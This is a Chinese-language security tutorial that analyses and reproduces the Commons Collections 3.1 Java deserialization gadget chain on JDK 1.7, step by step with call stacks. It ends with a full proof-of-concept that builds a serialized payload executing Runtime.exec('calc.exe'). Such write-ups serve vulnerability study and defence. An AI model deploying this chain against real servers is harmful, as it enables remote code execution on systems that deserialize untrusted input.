环境 common-collection 3.1版本 jdk1.7版本下的POC复现
在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用
前置知识 关于Commons Collections: 官网描述:
The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类
在org.apache.commons.collections
包中
1 2 3 4 5 6 public interface Transformer Object transform (Object input)
在org.apache.commons.collections.functors
包中
1 2 3 4 5 6 7 8 9 10 public class ConstantTransformer extends Object implements Transformer , Serializable ConstantTransformer(Object constantToReturn) public Object transform (Object input)
在org.apache.commons.collections.functors
包中
1 2 3 4 5 6 7 8 9 10 public class InvokerTransformer extends Object implements Transformer , SerializableInvokerTransformer(String methodName, Class[] paramTypes, Object[] args) public Object transform (Object input)
在org.apache.commons.collections.functors
包中
1 2 3 4 5 6 7 8 9 10 public class ChainedTransformer extends Object implements Transformer , SerializableChainedTransformer(Transformer[] transformers) public Object transform (Object object)
在org.apache.commons.collections.map
包中
1 2 3 4 5 6 7 8 9 10 11 12 13 public class TransformedMap extends AbstractMapDecorator implements Serializable TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer)
调用链分析 POC代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package ysoserial;import org.apache.commons.collections.*;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class commons_collections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar" ); } }
执行该POC后成功弹出计算器,表示该POC在当前环境下可利用
两种调用栈:
1 2 3 4 5 transform:76, ConstantTransformer (org.apache.commons.collections.functors) transform:122, ChainedTransformer (org.apache.commons.collections.functors) checkSetValue:169, TransformedMap (org.apache.commons.collections.map) setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map) main:35, commons_collections1 (ysoserial)
1 2 3 4 5 transform:119, InvokerTransformer (org.apache.commons.collections.functors) transform:122, ChainedTransformer (org.apache.commons.collections.functors) checkSetValue:169, TransformedMap (org.apache.commons.collections.map) setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map) main:35, commons_collections1 (ysoserial)
根据调用栈分析:
onlyElement.setValue(“foobar”);
经过上面调试,onlyElement是AbstracInputCheckedMapDecorator$MapEntry
对象,进入其setValue函数
1 2 3 4 public Object setValue (Object value) { value = this .parent.checkSetValue(value); return super .entry.setValue(value); }
其中this.parent是TransformedMap
对象,进入TransformedMap的checkSetValue方法
checkSetValue
1 2 3 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
此时的this.valueTransformer是ChainedTransformer
对象
ChainedTransformer中transform方法
1 2 3 4 5 6 7 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
循环iTransformers中的对象调用其transform方法,最终返回object对象
注: 在ChainedTransformer中transform方法中起到对象拼接的作用
F7步入循环的第一步
来到了ConstantTransformer对象的transform方法
1 2 3 public Object transform (Object input) { return this .iConstant; }
此时的this.iConstant是class.java.lang.Runtime类,执行完后object也是class.java.lang.Runtime类
F7步入循环第二步
来到了InvokerTransformer对象的transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } }
此时object是Method对象:public static java.lang.Runtime java.lang.Runtime.getRuntime()
F7步入循环第三步
再次来到来到了InvokerTransformer对象的transform方法
此时object是Runtime对象
F7步入循环第四步
再次来到来到了InvokerTransformer对象的transform方法
执行完此时object是Runtime对象,并且弹出计算器,命令执行成功
回看POC构造 目的:执行Runtime.getRuntime().exec("calc.exe")
通用反射机制语句:
1 2 3 4 5 6 7 Class.forName("java.lang.Runtime" ) .getMethod("exec" , String.class) .invoke( Class.forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" )) , "calc.exe" )
在此之前观察InvokerTransformer类的构造函数和transform的关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } .... } }
反射机制中的第一个invoke
根据InvokerTransformer中的代码可以得到其构造函数的参数:
1 2 3 4 input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")) this.iMethodNam = "exec" this.iParamTypes = String.class this.iArgs = "calc.exe"
由此得到
1 new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" })
目前将焦点转移至Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
第二步
由于input没有办法输入,因此需要借组ChainedTransformer进行拼接
要点:关于input.getClass()方法
当input是一个类的实例对象时,获取到的是这个类
当input是一个类时,获取到的是java.lang.Class
最终目标:Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
它等价于对象Runtime.getRuntime()
,其通过getClass方法得到class java.lang.Runtime
于是得到
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers);transformerChain.transform(null );
但是Runtime类的定义没有继承Serializable
类,所以是不支持反序列化的,就需要想办法在服务端生成Runtime对象
第三步
Runtime对象是通过Runtime.getRuntime()
得到的,InvokerTransformer
里面的反射机制可以执行任意函数,查看getRuntime()函数
1 2 3 public static Runtime getRuntime () { return currentRuntime; }
而如果需要得到getRuntime()方法对象,则需要input为Runtime实例,回到我们需要解决的问题之上
由于在transform中的getClass方法中不能得到class Runtime,只能得到java.lang.Class
可以借助其getMethod类,由于getMethod类存在于Class类中
重新梳理:
目的:获取Runtime实例,即Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")
先获取getRuntime方法对象,即目标:Class.forName("java.lang.Runtime").getMethod("getRuntime")
由于没有办法获取到java.lang.Runtime,故更改为java.lang.Class开头,转换成如下语句
1 2 3 4 5 //目标语句 Class.forName("java.lang.Runtime").getMethod("getRuntime") //使用java.lang.Class开头 Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class }) .invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
根据InvokerTransformer中的代码可以得到其构造函数的参数:
1 2 3 4 input = java.lang.Class this.iMethodNam = "getMethod" this.iParamTypes = new Class[] {String.class, Class[].class } this.iArgs = new Object[] {"getRuntime", new Class[0] }
由此得到
1 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
得到了getRuntime方法对象对象后,需要执行其方法,下一个input输入是上一个input输出,即getRuntime对象实例
1 2 3 4 5 6 Class cls = input.getClass();Method method = cls.getMethod(this .iMethodName, this .iParamTypes);return method.invoke(input, this .iArgs);
invoke方法.invoke(input, this.iArgs)
实际上等于input.invoke(this.iArgs)
现在的input是getRuntime对象实例,故只需要填写this.iArgs即可
getRuntime是个静态函数,不需要参数,传入null即可
1 new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] })
整合起来:
1 2 3 4 5 6 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) };
参考中有一张很好的图:
为什么要使用TransformedMap
上面构造了ChainedTransformer对象,如果现在需要利用,则客户端将ChainedTransformer对象序列化输出至文件,服务端使用读取文件,使用readObject将文件中的内容反序列化成ChainedTransformer对象,为了能够触发命令执行,还需要这个对象调用transform,显然以上情况在服务端是不可能存在的,故需要借助在服务端的一种普遍操作来达到目的
现在有的是ChainedTransformer对象,即一个转换链,TransformedMap 类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload
这样命令执行的触发条件从调用transform函数转变成修改map中的值
TransformedMap中的静态方法decorate
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
这样就有了POC的以下部分
1 2 3 4 5 6 7 8 Transformer transformerChain = new ChainedTransformer (transformers);Map innerMap = new HashMap ();innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain);
AnnotationInvocationHandler的readObject
现在的POC得到的是一个Map对象,客户端将Map对象序列化后输入到文件中,服务端需要从文件中读取内容借助readObject反序列化成Map对象,然后对其值进行修改操作,这样才有可能命令执行,达到目的。现在需要找到一个类,在反序列化readObject逻辑中有写入操作从而触发命令执行
AnnotationInvocationHandler的构造函数:
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } }
新增的POC代码:
1 2 3 4 5 6 7 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class, outerMap);
执行完AnnotationInvocationHandler的构造函数后
此时的instance是AnnotationInvocationHandler对象,里面的类变量的值如上图所示
构造好AnnotationInvocationHandler对象后,对其进行序列化发给服务端,服务端接收后对其进行readObject方法,如下代码
1 2 3 4 5 6 7 8 9 10 FileOutputStream f = new FileOutputStream ("payload.bin" );ObjectOutputStream fout = new ObjectOutputStream (f);fout.writeObject(instance); FileInputStream fi = new FileInputStream ("payload.bin" );ObjectInputStream fin = new ObjectInputStream (fi);fin.readObject();
找到AnnotationInvocationHandler的readObject处下断点,执行到fin.readObject();
步入,调用栈为
1 2 3 4 5 6 7 8 9 10 11 readObject:427, AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:606, Method (java.lang.reflect) invokeReadObject:1017, ObjectStreamClass (java.io) readSerialData:1893, ObjectInputStream (java.io) readOrdinaryObject:1798, ObjectInputStream (java.io) readObject0:1350, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) main:62, commons_collections1 (ysoserial)
查看AnnotationInvocationHandler的readObject函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
其中var1是ObjectInputStream对象
当逐步调试至执行到if语句里面的内容时,各字段的值如下:
此时的var2:
1 2 3 4 5 Annotation Type: Member types: {value=class [Ljava.lang.annotation.ElementType;} Member defaults: {} Retention policy: RUNTIME Inherited: false
所以var3获取到为{value=class [Ljava.lang.annotation.ElementType;}
这里要执行到var5.setValue…需要满足var7!=null,需要满足的条件
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
在获取AnnotationInvocationHandler类实例的POC中,第一个参数传入的是Target.class,其存在value方法,同时为了满足第二个条件,需要在Map中放入一个key为value的元素
最终模拟攻击代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package ysoserial;import org.apache.commons.collections.*;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class commons_collections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class, outerMap); FileOutputStream f = new FileOutputStream ("payload.bin" ); ObjectOutputStream fout = new ObjectOutputStream (f); fout.writeObject(instance); FileInputStream fi = new FileInputStream ("payload.bin" ); ObjectInputStream fin = new ObjectInputStream (fi); fin.readObject(); } }
参考 JAVA反序列化 - Commons-Collections组件 - 先知社区 (aliyun.com)
Java安全之Commons Collections1分析(一) - nice_0e3 - 博客园 (cnblogs.com)
Overview (Apache Commons Collections 3.2.2 API)